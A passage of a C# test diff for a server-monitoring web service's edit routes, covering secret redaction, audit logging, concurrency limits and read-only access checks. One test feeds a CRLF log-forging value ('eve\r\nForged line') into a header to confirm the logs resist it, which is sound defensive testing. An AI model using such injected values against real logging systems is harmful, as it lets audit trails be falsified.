+    public async Task ASecretThatSpellsAStructuredValue_LeavesACommittedEditsAnswerIntact_AndItsAuditLineWritten(string secret)
+    {
+        await using var rig = await StartAsync();
+        var (status, body) = await PatchAsync(rig, Changes("\"display_name\":\"Orders\",\"password\":\"" + secret + "\""));
+        Assert.Equal(HttpStatusCode.OK, status);
+        Assert.True(JsonNode.DeepEquals(JsonNode.Parse(UpdatedAnswer), JsonNode.Parse(body)), $"the answer was rewritten: {body}");
+        Assert.Equal(41, JsonNode.Parse(body)!["server_id"]!.GetValue<int>());
+        var line = Assert.Single(rig.Log.Lines, l => l.StartsWith("Information: Server edited by", StringComparison.Ordinal));
+        Assert.Contains("Server edited by alice: id 41, fields display_name,monthly_cost_usd", line, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AConflict_ForAPostgresTargetWhoseSecretIsTheEngineWord_StillCarriesTheStoredValues()
+    {
+        var conflict = "{\"status\":\"conflict\",\"message\":\"The server changed since it was read.\",\"current\":{\"engine\":\"postgres\","
+            + "\"username\":\"postgres\",\"host\":\"db01\",\"display_name\":\"postgres\",\"modified_at\":\"" + Token + "\"}}";
+        await using var rig = await StartAsync(edit: (_, _) => Task.FromResult(conflict));
+        var (status, body) = await PatchAsync(rig, Changes("\"host\":\"db02\",\"password\":\"postgres\""));
+        Assert.Equal(HttpStatusCode.Conflict, status);
+        var current = JsonNode.Parse(body)!["current"]!.AsObject();
+        Assert.Equal("postgres", current["engine"]!.GetValue<string>());
+        Assert.Equal("postgres", current["username"]!.GetValue<string>());
+        Assert.Equal("db01", current["host"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public async Task ACoreThatThrows_AnswersTheFixedErrorBody_AndFreesTheSlot_WithoutTheSecret()
+    {
+        var first = true;
+        await using var rig = await StartAsync(edit: (_, _) =>
+        {
+            if (first)
+            {
+                first = false;
+                throw new InvalidOperationException("driver said " + FakeSecret);
+            }
+
+            return Task.FromResult(UpdatedAnswer);
+        });
+        var (status, body) = await PatchAsync(rig, Changes("\"password\":\"" + FakeSecret + "\""));
+        Assert.Equal(HttpStatusCode.InternalServerError, status);
+        AssertNoSecret(rig, body);
+        Assert.Equal(HttpStatusCode.OK, (await PatchAsync(rig, Changes())).Status);
+    }
+
+    [Fact]
+    public async Task AnUpdatedEdit_IsLoggedOnce_WithThePrincipalTheIdAndTheFieldNames_AndNeverAValueOrTheSecret()
+    {
+        await using var rig = await StartAsync();
+        var (status, body) = await PatchAsync(rig, Changes("\"display_name\":\"Orders-Secret-Name\",\"monthly_cost_usd\":99,\"password\":\"" + FakeSecret + "\""));
+        Assert.Equal(HttpStatusCode.OK, status);
+        var edited = rig.Log.Lines.Where(l => l.StartsWith("Information: Server edited by", StringComparison.Ordinal)).ToList();
+        var line = Assert.Single(edited);
+        Assert.Contains("Server edited by alice: id 41, fields display_name,monthly_cost_usd", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("Orders-Secret-Name", rig.Log.Joined, StringComparison.Ordinal);
+        Assert.DoesNotContain("99", line, StringComparison.Ordinal);
+        AssertNoSecret(rig, body);
+    }
+
+    [Theory]
+    [InlineData("{\"status\":\"unchanged\"}")]
+    [InlineData("{\"status\":\"conflict\",\"message\":\"m\",\"current\":{}}")]
+    [InlineData("{\"status\":\"invalid\",\"message\":\"m\"}")]
+    public async Task ANothingSavedAnswer_LogsNoEditedLine(string envelope)
+    {
+        await using var rig = await StartAsync(edit: (_, _) => Task.FromResult(envelope));
+        await PatchAsync(rig, Changes());
+        Assert.DoesNotContain(rig.Log.Lines, l => l.Contains("Server edited by", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task AFailedProbe_IsLoggedOnce_WithTheCoresRedactedDetail()
+    {
+        var failed = "{\"status\":\"connection_failed\",\"message\":\"Could not connect to alpha-01.example.test. The service log has the details. Nothing was saved.\"}";
+        await using var rig = await StartAsync(edit: (_, _) => Task.FromResult(failed));
+        await PatchAsync(rig, Changes("\"password\":\"" + FakeSecret + "\""));
+        var line = Assert.Single(rig.Log.Lines, l => l.Contains("Server edit failed for alice: id 41", StringComparison.Ordinal));
+        Assert.Contains("Could not connect to alpha-01.example.test", line, StringComparison.Ordinal);
+        Assert.DoesNotContain(FakeSecret, rig.Log.Joined, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task APrincipalWithControlCharacters_IsLoggedOnOneLine()
+    {
+        await using var rig = await StartAsync();
+        using var request = new HttpRequestMessage(HttpMethod.Patch, "/api/servers/41")
+        {
+            Content = new StringContent(Changes(), Encoding.UTF8, "application/json"),
+        };
+        request.Headers.Add("X-Principal", Uri.EscapeDataString("eve\r\nForged line"));
+        using var response = await rig.Client.SendAsync(request, TestContext.Current.CancellationToken);
+        Assert.Equal(HttpStatusCode.OK, response.StatusCode);
+        var line = Assert.Single(rig.Log.Lines, l => l.Contains("Server edited by", StringComparison.Ordinal));
+        Assert.DoesNotContain('\n', line);
+        Assert.DoesNotContain('\r', line);
+    }
+
+    /* ═══════════════════════ the shared slot ═══════════════════════ */
+
+    [Fact]
+    public async Task AnEdit_WhileAnAddHoldsTheSlot_Answers429_AndTheAddStillCompletes()
+    {
+        var entered = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var release = new TaskCompletionSource<string>(TaskCreationOptions.RunContinuationsAsynchronously);
+        await using var rig = await StartAsync(add: _ =>
+        {
+            entered.TrySetResult();
+            return release.Task;
+        });
+
+        var add = PostAddAsync(rig);
+        await entered.Task.WaitAsync(TimeSpan.FromSeconds(30), TestContext.Current.CancellationToken);
+        var (status, body) = await PatchAsync(rig, Changes());
+        Assert.Equal(HttpStatusCode.TooManyRequests, status);
+        Assert.Contains("already running", body, StringComparison.Ordinal);
+        Assert.Empty(rig.Edits);
+
+        release.SetResult(AddedAnswer);
+        Assert.Equal(HttpStatusCode.OK, (await add).Status);
+        Assert.Equal(HttpStatusCode.OK, (await PatchAsync(rig, Changes())).Status);
+    }
+
+    [Fact]
+    public async Task AnAdd_WhileAnEditHoldsTheSlot_Answers429_AndTheEditStillCompletes()
+    {
+        var entered = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var release = new TaskCompletionSource<string>(TaskCreationOptions.RunContinuationsAsynchronously);
+        var addCalls = 0;
+        await using var rig = await StartAsync(
+            edit: (_, _) =>
+            {
+                entered.TrySetResult();
+                return release.Task;
+            },
+            add: _ =>
+            {
+                Interlocked.Increment(ref addCalls);
+                return Task.FromResult(AddedAnswer);
+            });
+
+        var edit = PatchAsync(rig, Changes());
+        await entered.Task.WaitAsync(TimeSpan.FromSeconds(30), TestContext.Current.CancellationToken);
+        Assert.Equal(HttpStatusCode.TooManyRequests, (await PostAddAsync(rig)).Status);
+        Assert.Equal(0, Volatile.Read(ref addCalls));
+
+        release.SetResult(UpdatedAnswer);
+        Assert.Equal(HttpStatusCode.OK, (await edit).Status);
+        Assert.Equal(HttpStatusCode.OK, (await PostAddAsync(rig)).Status);
+    }
+
+    [Fact]
+    public async Task ASecondEdit_WhileOneIsRunning_Answers429()
+    {
+        var entered = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var release = new TaskCompletionSource<string>(TaskCreationOptions.RunContinuationsAsynchronously);
+        var calls = 0;
+        await using var rig = await StartAsync(edit: (_, _) =>
+        {
+            if (Interlocked.Increment(ref calls) == 1)
+            {
+                entered.TrySetResult();
+                return release.Task;
+            }
+
+            return Task.FromResult(UpdatedAnswer);
+        });
+        var first = PatchAsync(rig, Changes());
+        await entered.Task.WaitAsync(TimeSpan.FromSeconds(30), TestContext.Current.CancellationToken);
+        Assert.Equal(HttpStatusCode.TooManyRequests, (await PatchAsync(rig, Changes(), id: 42)).Status);
+        release.SetResult(UpdatedAnswer);
+        Assert.Equal(HttpStatusCode.OK, (await first).Status);
+    }
+
+    private const int SlotCycles = 400;
+
+    [Fact]
+    public async Task AnEditThatFinishedInsideTheWait_FreesTheSlotBeforeItsAnswer_SoAnImmediateSecondEditOrAddIsNotRefused()
+    {
+        await using var rig = await StartAsync();
+        /* Back to back, nothing between the two requests: a release that waited for the continuation would be refused. */
+        for (var i = 0; i < SlotCycles; i++)
+        {
+            var (editStatus, _) = await PatchAsync(rig, Changes());
+            Assert.True(editStatus == HttpStatusCode.OK, $"edit {i + 1} of {SlotCycles} answered {(int)editStatus} right after a finished edit");
+        }
+
+        for (var i = 0; i < SlotCycles; i++)
+        {
+            Assert.Equal(HttpStatusCode.OK, (await PatchAsync(rig, Changes())).Status);
+            var (addStatus, _) = await PostAddAsync(rig);
+            Assert.True(addStatus == HttpStatusCode.OK, $"add {i + 1} of {SlotCycles} answered {(int)addStatus} right after a finished edit");
+            var (again, _) = await PatchAsync(rig, Changes());
+            Assert.True(again == HttpStatusCode.OK, $"edit {i + 1} of {SlotCycles} answered {(int)again} right after a finished add");
+        }
+    }
+
+    [Fact]
+    public async Task AnEditThatFinishedInsideTheWait_ReleasesTheSlotExactlyOnce_SoALaterHeldEditStillBlocksTheNext()
+    {
+        var calls = 0;
+        var entered = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var release = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        await using var rig = await StartAsync(edit: (_, _) =>
+        {
+            if (Interlocked.Increment(ref calls) % 2 == 1)
+            {
+                return Task.FromResult(UpdatedAnswer);
+            }
+
+            entered.TrySetResult();
+            return release.Task.ContinueWith(_ => UpdatedAnswer, TaskScheduler.Default);
+        });
+
+        for (var i = 0; i < SlotCycles; i++)
+        {
+            Assert.Equal(HttpStatusCode.OK, (await PatchAsync(rig, Changes())).Status);
+            entered = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+            release = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+            var held = PatchAsync(rig, Changes());
+            await entered.Task.WaitAsync(TimeSpan.FromSeconds(30), TestContext.Current.CancellationToken);
+
+            Assert.Equal(HttpStatusCode.TooManyRequests, (await PostAddAsync(rig)).Status);
+            Assert.Equal(HttpStatusCode.TooManyRequests, (await PatchAsync(rig, Changes())).Status);
+            Assert.Equal(2 * i + 2, Volatile.Read(ref calls));
+
+            release.SetResult();
+            Assert.Equal(HttpStatusCode.OK, (await held).Status);
+        }
+    }
+
+    [Fact]
+    public async Task AnEditThatOutlivesTheTimeout_Answers503_KeepsTheSlotForAddAndEdit_AndFreesItOnce_WhenItFinishes()
+    {
+        var hang = new TaskCompletionSource<string>(TaskCreationOptions.RunContinuationsAsynchronously);
+        var calls = 0;
+        await using var rig = await StartAsync(
+            edit: (_, _) => Interlocked.Increment(ref calls) == 1 ? hang.Task : Task.FromResult(UpdatedAnswer),
+            editTimeout: TimeSpan.FromMilliseconds(200));
+
+        var (status, body) = await PatchAsync(rig, Changes("\"password\":\"" + FakeSecret + "\""), principal: "dana");
+        Assert.Equal(HttpStatusCode.ServiceUnavailable, status);
+        Assert.Equal(DarlingWebEndpoints.ServerEditTimedOutText, JsonNode.Parse(body)!["error"]!.GetValue<string>());
+        AssertNoSecret(rig, body);
+
+        Assert.Equal(HttpStatusCode.TooManyRequests, (await PatchAsync(rig, Changes())).Status);
+        Assert.Equal(HttpStatusCode.TooManyRequests, (await PostAddAsync(rig)).Status);
+        Assert.Equal(1, Volatile.Read(ref calls));
+        Assert.DoesNotContain(rig.Log.Lines, l => l.Contains("Server edited by", StringComparison.Ordinal));
+
+        /* The client was told 503, but the core commits when it finishes: its audit line is written then, once, for the
+           principal who sent the edit (not whoever sends the next one). */
+        hang.SetResult(UpdatedAnswer);
+        await WaitForLogLineAsync(rig, "Server edited by");
+        var late = Assert.Single(rig.Log.Lines, l => l.Contains("Server edited by", StringComparison.Ordinal));
+        Assert.Contains("Server edited by dana: id 41, fields display_name,monthly_cost_usd", late, StringComparison.Ordinal);
+        AssertNoSecret(rig, body);
+
+        var accepted = HttpStatusCode.TooManyRequests;
+        for (var i = 0; i < 100 && accepted == HttpStatusCode.TooManyRequests; i++)
+        {
+            accepted = (await PatchAsync(rig, Changes())).Status;
+            if (accepted == HttpStatusCode.TooManyRequests)
+            {
+                await Task.Delay(50, TestContext.Current.CancellationToken);
+            }
+        }
+
+        Assert.Equal(HttpStatusCode.OK, accepted);
+        Assert.Single(rig.Log.Lines, l => l.Contains("Server edited by dana", StringComparison.Ordinal));
+        Assert.Single(rig.Log.Lines, l => l.Contains("Server edited by alice", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void TheEditTimeout_IsSixtySeconds_AndAddKeepsItsHundredAndTwenty()
+    {
+        Assert.Equal(TimeSpan.FromSeconds(60), DarlingWebEndpoints.ServerEditSlotTimeout);
+        Assert.Equal(TimeSpan.FromSeconds(120), DarlingWebEndpoints.ServerAddSlotTimeout);
+    }
+
+    /* ═══════════════════════ GET /api/admin/servers/{id} ═══════════════════════ */
+
+    private static DarlingMcpServerAdminTools.ServerEditRow Row(int id = 41) => new(
+        id, "Orders", "sql01.example.test", 1433, "orders", true, "sqlserver", "sql", "monitor", "Strict", true, false, 12.5m,
+        new DateTime(2026, 10, 5, 12, 0, 0, 123, DateTimeKind.Unspecified).AddTicks(4567));
+
+    [Fact]
+    public async Task TheAdminRead_ReturnsTheEditableNonSecretValues_AndAnOpaqueToken_AndNoSecretKey()
+    {
+        await using var rig = await StartAsync(read: id => Task.FromResult<DarlingMcpServerAdminTools.ServerEditRow?>(Row(id)));
+        var response = await rig.Client.GetAsync("/api/admin/servers/41", TestContext.Current.CancellationToken);
+        var body = await response.Content.ReadAsStringAsync(TestContext.Current.CancellationToken);
+        Assert.Equal(HttpStatusCode.OK, response.StatusCode);
+        Assert.Contains("no-store", response.Headers.CacheControl?.ToString() ?? "", StringComparison.Ordinal);
+
+        var json = JsonNode.Parse(body)!.AsObject();
+        Assert.Equal("Orders", json["display_name"]!.GetValue<string>());
+        Assert.Equal("SQL", json["auth"]!.GetValue<string>());
+        Assert.Equal("monitor", json["username"]!.GetValue<string>());
+        Assert.Equal(12.5m, json["monthly_cost_usd"]!.GetValue<decimal>());
+        Assert.Equal("2026-10-05T12:00:00.1234567", json["modified_at"]!.GetValue<string>());
+        Assert.DoesNotContain(json.Select(p => p.Key), k => k.Contains("password", StringComparison.OrdinalIgnoreCase) || k.Contains("secret", StringComparison.OrdinalIgnoreCase) || k.Contains("encrypted", StringComparison.OrdinalIgnoreCase));
+        Assert.DoesNotContain("encrypted_password", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TheAdminReadsToken_IsAcceptedByTheEditRouteAsIs()
+    {
+        await using var rig = await StartAsync(read: id => Task.FromResult<DarlingMcpServerAdminTools.ServerEditRow?>(Row(id)));
+        var json = JsonNode.Parse(await rig.Client.GetStringAsync("/api/admin/servers/41", TestContext.Current.CancellationToken))!;
+        var token = json["modified_at"]!.GetValue<string>();
+        Assert.Equal(DarlingMcpServerAdminTools.ModifiedAtToken(Row().ModifiedAt), token);
+        var (status, _) = await PatchAsync(rig, "{\"display_name\":\"x\",\"expected_modified_at\":\"" + token + "\"}");
+        Assert.Equal(HttpStatusCode.OK, status);
+        Assert.Contains(token, Assert.Single(rig.Edits).Body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TheAdminRead_OfAMissingServer_Answers404()
+    {
+        await using var rig = await StartAsync(read: _ => Task.FromResult<DarlingMcpServerAdminTools.ServerEditRow?>(null));
+        Assert.Equal(HttpStatusCode.NotFound, (await rig.Client.GetAsync("/api/admin/servers/9", TestContext.Current.CancellationToken)).StatusCode);
+    }
+
+    [Fact]
+    public async Task TheAdminRead_WhenTheStoreFaults_AnswersTheFixedErrorBody_NotTheExceptionText()
+    {
+        await using var rig = await StartAsync(read: _ => throw new InvalidOperationException("password authentication failed for host db.internal.example"));
+        var response = await rig.Client.GetAsync("/api/admin/servers/9", TestContext.Current.CancellationToken);
+        var body = await response.Content.ReadAsStringAsync(TestContext.Current.CancellationToken);
+        Assert.True((int)response.StatusCode >= 500);
+        Assert.DoesNotContain("db.internal.example", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("db.internal.example", rig.Log.Joined, StringComparison.Ordinal);
+    }
+
+    /// <summary>The host's group gate lets every GET through for a read-only seat, so the route's own edit-right check
+    /// is the only thing between that seat and the form's pre-fill (username, TLS posture). The gate on or off, the
+    /// seat gets 403 and the read never reaches the store.</summary>
+    [Fact]
+    public async Task TheAdminRead_IsRefused403ForAReadOnlySeat_AndNeverReachesTheStore_WithOrWithoutTheHostWriteGate()
+    {
+        foreach (var gate in new[] { false, true })
+        {
+            var reads = 0;
+            await using var rig = await StartAsync(useWriteGate: gate, read: id =>
+            {
+                Interlocked.Increment(ref reads);
+                return Task.FromResult<DarlingMcpServerAdminTools.ServerEditRow?>(Row(id));
+            });
+            var (status, body) = await SendAsync(rig, HttpMethod.Get, "/api/admin/servers/41", seat: "viewer");
+            Assert.Equal(HttpStatusCode.Forbidden, status);
+            Assert.Contains("read-only", body, StringComparison.Ordinal);
+            Assert.DoesNotContain("monitor", body, StringComparison.Ordinal);
+            Assert.Equal(0, Volatile.Read(ref reads));
+
+            var (post, _) = await SendAsync(rig, HttpMethod.Post, "/api/admin/servers/41", "{}", seat: "viewer");
+            Assert.NotEqual(HttpStatusCode.OK, post);
+            Assert.Equal(0, Volatile.Read(ref reads));
+
+            /* The same rig still serves an editing seat: the refusal is the seat's, not the route's. */
+            var (editing, _) = await SendAsync(rig, HttpMethod.Get, "/api/admin/servers/41");
+            Assert.Equal(HttpStatusCode.OK, editing);
+            Assert.Equal(1, Volatile.Read(ref reads));
+        }
+    }
+
+    [Fact]
+    public async Task AStoreWhoseRolesPredateTheEditFunction_Answers500_WithABodyThatSaysToRerunTheProvisionScript()
+    {
+        var envelope = PerformanceMonitor.Common.McpHelpers.FormatError("edit_server", new InvalidOperationException(DarlingMcpServerAdminTools.EditStoreNeedsRolesText));
+        await using var rig = await StartAsync(edit: (_, _) => Task.FromResult(envelope));
+
+        var (status, body) = await PatchAsync(rig, Changes());
+
+        Assert.Equal(HttpStatusCode.InternalServerError, status);
+        Assert.Equal(DarlingMcpServerAdminTools.EditStoreNeedsRolesText, JsonNode.Parse(body)!["error"]!.GetValue<string>());
+        Assert.Contains("provision-roles.sql", body, StringComparison.Ordinal);
+    }
+
+    /* A server id is a signed hash of the server's storage name, so about half of all ids are negative. The routes take them. */
+    private const int NegativeServerId = -1862834905;
+
+    [Fact]
+    public async Task AnEditRouteWithANegativeServerId_ReachesTheCoreWithThatId()
+    {
+        await using var rig = await StartAsync();
+        var body = Changes("\"monthly_cost_usd\":12.5");
+
+        var (status, answer) = await PatchAsync(rig, body, id: NegativeServerId);
+
+        Assert.Equal(HttpStatusCode.OK, status);
+        Assert.Equal((NegativeServerId, body), Assert.Single(rig.Edits));
+        Assert.Equal("updated", JsonNode.Parse(answer)!["status"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public async Task TheAdminReadWithANegativeServerId_ReadsThatRow()
+    {
+        var asked = new List<int>();
+        await using var rig = await StartAsync(read: id =>
+        {
+            asked.Add(id);
+            return Task.FromResult<DarlingMcpServerAdminTools.ServerEditRow?>(Row(id));
+        });
+
+        var response = await rig.Client.GetAsync("/api/admin/servers/" + NegativeServerId, TestContext.Current.CancellationToken);
+        var body = await response.Content.ReadAsStringAsync(TestContext.Current.CancellationToken);
+
+        Assert.Equal(HttpStatusCode.OK, response.StatusCode);
+        Assert.Equal(NegativeServerId, Assert.Single(asked));
+        Assert.Equal("Orders", JsonNode.Parse(body)!["display_name"]!.GetValue<string>());
+    }
+}
diff --git a/Darling/Darling.Tests/ServerEditViewerRoleLiveTests.cs b/Darling/Darling.Tests/ServerEditViewerRoleLiveTests.cs
new file mode 100644
index 0000000000..469f131749
--- /dev/null
+++ b/Darling/Darling.Tests/ServerEditViewerRoleLiveTests.cs
@@ -0,0 +1,389 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Net;
+using System.Net.Http;
+using System.Text;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The web edit routes (#5240) end to end against a store, on a pool connected as a role holding exactly the grants the
+/// managed <c>viewer</c> role gets (taken from <see cref="DarlingManagedRoles.BuildProvisioningSql"/>, so removing the
+/// EXECUTE grant on <c>config.edit_monitored_server</c> makes the edit fail with 42501; the role holds no UPDATE on the
+/// table): an edit succeeds, a stale token is a 409 carrying
+/// <c>current</c>, an edit while an add holds the shared slot is a 429, and the by-id read returns no secret. Edits here
+/// change the name and cost only, which need no probe.
+/// </summary>
+[Collection("darling-owned-secrets")]
+public sealed class ServerEditViewerRoleLiveTests : IDisposable
+{
+    private readonly DarlingOwnedSet _ownedBefore = DarlingOwnedSecrets.Current;
+
+    public ServerEditViewerRoleLiveTests() => DarlingOwnedSecrets.Set(DarlingOwnedSet.Empty);
+
+    public void Dispose() => DarlingOwnedSecrets.Set(_ownedBefore);
+
+    private const string StoredBlob = "stored-blob-must-never-be-returned-Q7";
+
+    private static async Task ExecAsync(NpgsqlDataSource source, string sql, CancellationToken ct)
+    {
+        await using var command = source.CreateCommand(sql);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<string> ScalarAsync(NpgsqlDataSource source, string sql, CancellationToken ct)
+    {
+        await using var command = source.CreateCommand(sql);
+        return Convert.ToString(await command.ExecuteScalarAsync(ct), System.Globalization.CultureInfo.InvariantCulture)!;
+    }
+
+    private static async Task<(WebApplication App, HttpClient Client)> HostAsync(
+        NpgsqlDataSource viewer, Func<string, Task<string>>? add, CancellationToken ct)
+    {
+        var builder = WebApplication.CreateBuilder();
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        var app = builder.Build();
+        app.Use(async (context, next) =>
+        {
+            context.Items[DarlingWebSeat.HttpContextItemKey] = new DarlingWebSeat("alice", true);
+            await next(context);
+        });
+        DarlingWebEndpoints.MapServers(app, viewer, new CapturingTestLogger(), add);
+        await app.StartAsync(ct);
+        return (app, app.GetTestClient());
+    }
+
+    private static async Task<(HttpStatusCode Status, string Body)> PatchAsync(HttpClient client, int id, string body, CancellationToken ct)
+    {
+        using var request = new HttpRequestMessage(HttpMethod.Patch, "/api/servers/" + id)
+        {
+            Content = new StringContent(body, Encoding.UTF8, "application/json"),
+        };
+        using var response = await client.SendAsync(request, ct);
+        return (response.StatusCode, await response.Content.ReadAsStringAsync(ct));
+    }
+
+    [Fact]
+    public async Task AsTheViewerRole_TheWebEdit_Succeeds_KeepsTheStoredSecret_AndAStaleTokenIsA409WithTheCurrentValues()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var roleName = "srv_web_" + Guid.NewGuid().ToString("N")[..8];
+        var (scratch, owner, ownerString) = await ServerAddViewerRoleLiveTests.OpenAsync(ct);
+        await using var _ = scratch;
+        await using var __ = owner;
+        await using var viewer = await ServerAddViewerRoleLiveTests.ProvisionAsync(owner, ownerString, roleName, null, ct);
+        var ok = false;
+        try
+        {
+            await ExecAsync(owner, "INSERT INTO config_service (id) VALUES (1) ON CONFLICT DO NOTHING", ct);
+            await ExecAsync(owner, $"INSERT INTO config_monitored_servers (server_id, name, host, auth, username, encrypted_password, monthly_cost_usd) VALUES (5201, 'alpha', 'alpha.example.test', 'sql', 'monitor', '{StoredBlob}', 3)", ct);
+            var (app, client) = await HostAsync(viewer, null, ct);
+            await using var __app = app;
+            using var ___client = client;
+
+            /* The read: editable non-secret values plus the opaque token, and no secret anywhere in it. */
+            var read = await client.GetAsync("/api/admin/servers/5201", ct);
+            var readBody = await read.Content.ReadAsStringAsync(ct);
+            Assert.Equal(HttpStatusCode.OK, read.StatusCode);
+            Assert.DoesNotContain(StoredBlob, readBody, StringComparison.Ordinal);
+            Assert.DoesNotContain("encrypted", readBody, StringComparison.OrdinalIgnoreCase);
+            var token = JsonNode.Parse(readBody)!["modified_at"]!.GetValue<string>();
+            Assert.Equal("alpha", JsonNode.Parse(readBody)!["display_name"]!.GetValue<string>());
+            Assert.Equal((HttpStatusCode.NotFound, true), ((await client.GetAsync("/api/admin/servers/999999", ct)).StatusCode, true));
+
+            var versionBefore = await ScalarAsync(owner, "SELECT config_version FROM config_service", ct);
+
+            /* The edit, as viewer: the SET list names only granted columns, FOR UPDATE works, the beacon fires. */
+            var (status, body) = await PatchAsync(client, 5201, "{\"display_name\":\"Orders\",\"monthly_cost_usd\":120,\"expected_modified_at\":\"" + token + "\"}", ct);
+            Assert.True(status == HttpStatusCode.OK, "edit answered " + (int)status + ": " + body);
+            var answer = JsonNode.Parse(body)!;
+            Assert.Equal("updated", answer["status"]!.GetValue<string>());
+            Assert.Equal(5201, answer["server_id"]!.GetValue<int>());
+            Assert.NotEqual(token, answer["modified_at"]!.GetValue<string>());
+            Assert.Equal("Orders", await ScalarAsync(owner, "SELECT name FROM config_monitored_servers WHERE server_id = 5201", ct));
+            Assert.Equal("120", await ScalarAsync(owner, "SELECT monthly_cost_usd::bigint FROM config_monitored_servers WHERE server_id = 5201", ct));
+            Assert.Equal(StoredBlob, await ScalarAsync(owner, "SELECT encrypted_password FROM config_monitored_servers WHERE server_id = 5201", ct));
+            Assert.Equal(long.Parse(versionBefore, System.Globalization.CultureInfo.InvariantCulture) + 1,
+                long.Parse(await ScalarAsync(owner, "SELECT config_version FROM config_service", ct), System.Globalization.CultureInfo.InvariantCulture));
+            Assert.DoesNotContain(StoredBlob, body, StringComparison.Ordinal);
+
+            /* The same (now stale) token again: 409 with the current non-secret values, and nothing written. */
+            var (staleStatus, staleBody) = await PatchAsync(client, 5201, "{\"display_name\":\"Other\",\"expected_modified_at\":\"" + token + "\"}", ct);
+            Assert.Equal(HttpStatusCode.Conflict, staleStatus);
+            var stale = JsonNode.Parse(staleBody)!;
+            Assert.Equal("conflict", stale["status"]!.GetValue<string>());
+            Assert.Equal("Orders", stale["current"]!["display_name"]!.GetValue<string>());
+            Assert.Equal(answer["modified_at"]!.GetValue<string>(), stale["current"]!["modified_at"]!.GetValue<string>());
+            Assert.DoesNotContain(StoredBlob, staleBody, StringComparison.Ordinal);
+            Assert.Equal("Orders", await ScalarAsync(owner, "SELECT name FROM config_monitored_servers WHERE server_id = 5201", ct));
+
+            /* The fresh token works, a stale id is a 404, and an unchanged request writes nothing. */
+            var fresh = answer["modified_at"]!.GetValue<string>();
+            Assert.Equal(HttpStatusCode.OK, (await PatchAsync(client, 5201, "{\"display_name\":\"Orders\",\"expected_modified_at\":\"" + fresh + "\"}", ct)).Status);
+            Assert.Equal(HttpStatusCode.NotFound, (await PatchAsync(client, 999999, "{\"display_name\":\"x\",\"expected_modified_at\":\"" + fresh + "\"}", ct)).Status);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(ok, () => ExecAsync(owner, $"DROP OWNED BY {roleName}; DROP ROLE IF EXISTS {roleName};", CancellationToken.None));
+        }
+    }
+
+    [Fact]
+    public async Task AsTheViewerRole_AnEditWhileAnAddHoldsTheSlot_Is429_AndWritesNothing()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var roleName = "srv_slot_" + Guid.NewGuid().ToString("N")[..8];
+        var (scratch, owner, ownerString) = await ServerAddViewerRoleLiveTests.OpenAsync(ct);
+        await using var _ = scratch;
+        await using var __ = owner;
+        await using var viewer = await ServerAddViewerRoleLiveTests.ProvisionAsync(owner, ownerString, roleName, null, ct);
+        var ok = false;
+        try
+        {
+            await ExecAsync(owner, "INSERT INTO config_service (id) VALUES (1) ON CONFLICT DO NOTHING", ct);
+            await ExecAsync(owner, "INSERT INTO config_monitored_servers (server_id, name, host) VALUES (5202, 'beta', 'beta.example.test')", ct);
+            var entered = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+            var release = new TaskCompletionSource<string>(TaskCreationOptions.RunContinuationsAsynchronously);
+            var (app, client) = await HostAsync(viewer, _ =>
+            {
+                entered.TrySetResult();
+                return release.Task;
+            }, ct);
+            await using var __app = app;
+            using var ___client = client;
+
+            var token = JsonNode.Parse(await client.GetStringAsync("/api/admin/servers/5202", ct))!["modified_at"]!.GetValue<string>();
+            var held = client.PostAsync("/api/servers", new StringContent("[{\"host\":\"gamma\"}]", Encoding.UTF8, "application/json"), ct);
+            await entered.Task.WaitAsync(TimeSpan.FromSeconds(30), ct);
+
+            var (status, _) = await PatchAsync(client, 5202, "{\"display_name\":\"Blocked\",\"expected_modified_at\":\"" + token + "\"}", ct);
+            Assert.Equal(HttpStatusCode.TooManyRequests, status);
+            Assert.Equal("beta", await ScalarAsync(owner, "SELECT name FROM config_monitored_servers WHERE server_id = 5202", ct));
+
+            release.SetResult("{\"requested\":1,\"added\":0,\"skipped\":0,\"collided\":0,\"failed\":0,\"results\":[]}");
+            using (await held)
+            {
+            }
+
+            Assert.Equal(HttpStatusCode.OK, (await PatchAsync(client, 5202, "{\"display_name\":\"Allowed\",\"expected_modified_at\":\"" + token + "\"}", ct)).Status);
+            ok = true;
+        }
+        finally
+        {
